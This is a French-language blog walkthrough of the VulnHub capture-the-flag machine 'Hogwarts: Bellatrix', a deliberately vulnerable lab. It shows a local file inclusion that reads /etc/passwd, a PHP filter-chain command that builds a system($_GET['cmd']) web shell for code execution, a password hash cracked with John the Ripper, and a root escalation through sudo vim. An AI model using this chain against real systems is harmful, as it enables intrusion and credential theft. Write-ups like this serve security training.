Accueil Solution du CTF Hogwarts: Bellatrix de VulnHub
Post
Annuler

Solution du CTF Hogwarts: Bellatrix de VulnHub

Le CTF Hogwarts: Bellatrix est un boot2root que je qualifierais de facile. Il y a un peu de jeu de piste mais n’entre jamais dans le mauvais penchant du guessing.

1
2
3
4
5
6
7
8
9
10
11
12
Nmap scan report for 192.168.56.64
Host is up (0.00020s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.3p1 Ubuntu 1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 4bcec75a9c1f8bcd4703086985c29149 (RSA)
|   256 a12aa8159904cc2a1ee35000f355c2cc (ECDSA)
|_  256 2cd3ec6f4f5b4ae0ea0ac30d2fcb7817 (ED25519)
80/tcp open  http    Apache httpd 2.4.46 ((Ubuntu))
|_http-title: AvadaKedavra
|_http-server-header: Apache/2.4.46 (Ubuntu)

Sur le site web on trouve ce texte :

1
2
3
4
5
ikilledsiriusblackikilledsiriusblackikilledsiriusblackikilledsiriusblack

--- snip ---

ikilledsiriusblackikilledsiriusblackikilledsiriusblackikilledsiriusblack.php

et dans le code HTML de la page :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
    <!-- 
        Nah...this time there are no clues in the source code ... 
        o yeah, maybe I've already told you a directory .php? :)

    -->

/*

   $file = $_GET['file'];
   if(isset($file))
   {
       include("$file");
   }

*/

Effectivement je trouve un fichier ikilledsiriusblack.php qui semble en tout point identique à la page d’index sauf que si on lui passe le paramètre file (ex: file=/etc/passwd) on obtient la LFI annoncée :

1
2
3
4
5
6
7
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
--- snip ---
bellatrix:x:1000:1000:Bellatrix,,,:/home/bellatrix:/bin/bash
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
sshd:x:127:65534::/run/sshd:/usr/sbin/nologin
lestrange:x:1001:1001::/home/lestrange:/bin/rbash

On peut déjà rermarquer la présence du rbash (restricted bash) comme login pour le compte lestrange.

Je ne perds plus mon temps à faire une injection dans un fichier de log, j’utilise directement la technique de chainage des filtres PHP avec l’outil de Synacktiv :

1
python3 php_filter_chain_generator.py --chain '<?php system($_GET["cmd"]);?>'

Je passe le résultat en paramètre de file et il ne reste qu’à rajouter mon paramètre cmd pour avoir ma RCE.

Déjà sous la racine web je trouve des fichiers étonnants :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
www-data@bellatrix:/var/www/html$ ls -alR
.:
total 732
drwxr-xr-x 3 root      root        4096 Nov 28  2020  .
drwxr-xr-x 3 root      root        4096 Nov 28  2020  ..
-rw-rw-r-- 1 bellatrix bellatrix 728806 Nov 27  2020  1c19c879fe8ef134c3e051c2d69c0c66.gif
drwxr-xr-x 2 root      root        4096 Nov 28  2020 'c2VjcmV0cw=='
-rw-rw-r-- 1 bellatrix bellatrix    151 Nov 28  2020  ikilledsiriusblack.php
-rw-rw-r-- 1 bellatrix bellatrix   1728 Nov 28  2020  index.php

'./c2VjcmV0cw==':
total 16
drwxr-xr-x 2 root root 4096 Nov 28  2020 .
drwxr-xr-x 3 root root 4096 Nov 28  2020 ..
-rw-r--r-- 1 root root 1237 Nov 28  2020 .secret.dic
-rw-r--r-- 1 root root  117 Nov 28  2020 Swordofgryffindor

Le fichier .secret.dic est une wordlist de 114 lignes contenant des noms ou mots en rapport avec la saga Harry Potter.

Le fichier Swordofgryffindor contient le hash pour le compte vu précédemment :

lestrange:$6$1eIjsdebFF9/rsXH$NajEfDYUP7p/sqHdyOIFwNnltiRPwIU0L14a8zyQIdRUlAomDNrnRjTPN5Y/WirDnwMn698kIA5CV8NLdyGiY0

Forcément ça ne prend pas long à casser et c’est l’une des caractéristiques des bons CTFs car entre passer une minute ou 2 jours à casser un mot de passe, il n’y a aucune différence au niveau des compétences requises, il suffit de savoir utiliser un outil :

1
2
3
4
5
6
7
8
9
10
$ ./john --wordlist=pass.txt hashes.txt
Using default input encoding: UTF-8
Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 128/128 AVX 2x])
Cost 1 (iteration count) is 5000 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
ihateharrypotter (lestrange)     
1g 0:00:00:00 DONE (2022-11-19 11:28) 9.090g/s 1036p/s 1036c/s 1036C/s gryffondor..wingardiumleviosa
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

Une fois connecté on trouve une note dans un fichier readme.txt :

1
2
3
4
5
6
7
lestrange@bellatrix:~$ cat readme.txt
I WANT TO ESCAPE FROM THE PRISION OF AZKABAN

HAHAHAHHAHAHAHAHHAHAHAHHAHAHAHAHHAHAHAHHAHA!!!!

YOU WONT BE ABLE TO ME, POTTER!! I WAS AND STILL AM THE DARK LORD'S MOST 
LOYAL SERVANT.

L’utilisatrice a le droit d’exécuter une commande via sudo :

1
2
3
4
5
6
lestrange@bellatrix:~$ sudo -l
Coincidiendo entradas por defecto para lestrange en bellatrix:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

El usuario lestrange puede ejecutar los siguientes comandos en bellatrix:
    (ALL : ALL) NOPASSWD: /usr/bin/vim

La technique est bien sûr d’échapper de vim avec :!/bin/bash qui nous donne les droits root :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
lestrange@bellatrix:~$ sudo /usr/bin/vim

root@bellatrix:/home/lestrange# cd /root
root@bellatrix:~# ls
root.txt  script.sh  snap
root@bellatrix:~# cat root.txt
 ____       _ _       _        _      
 |  _ \     | | |     | |      (_)     
 | |_) | ___| | | __ _| |_ _ __ ___  __
 |  _ < / _ \ | |/ _` | __| '__| \ \/ /
 | |_) |  __/ | | (_| | |_| |  | |>  < 
 |____/ \___|_|_|\__,_|\__|_|  |_/_/\_\
  _               _                              
 | |             | |                             
 | |     ___  ___| |_ _ __ __ _ _ __   __ _  ___ 
 | |    / _ \/ __| __| '__/ _` | '_ \ / _` |/ _ \
 | |___|  __/\__ \ |_| | | (_| | | | | (_| |  __/
 |______\___||___/\__|_|  \__,_|_| |_|\__, |\___|
                                       __/ |     
                                      |___/ 

root{ead5a85a11ba466011fced308d460a76}
root@bellatrix:~# cat script.sh
#!/bin/bash

chmod 775 /var/log/auth.log

exit

On voit un script qui effectue un chmod sur auth.log, il était sans doute destiné à faciliter l’injection de code PHP pour la LFI.

Il y avait aussi un flag dans /home/bellatrix. La commande cd était restreinte mais les commandes ls et cat non donc il n’y avait pas de difficultées majeures à obtenir le flag.

Publié le 19 novembre 2022

Cet article est sous licence CC BY 4.0 par l'auteur.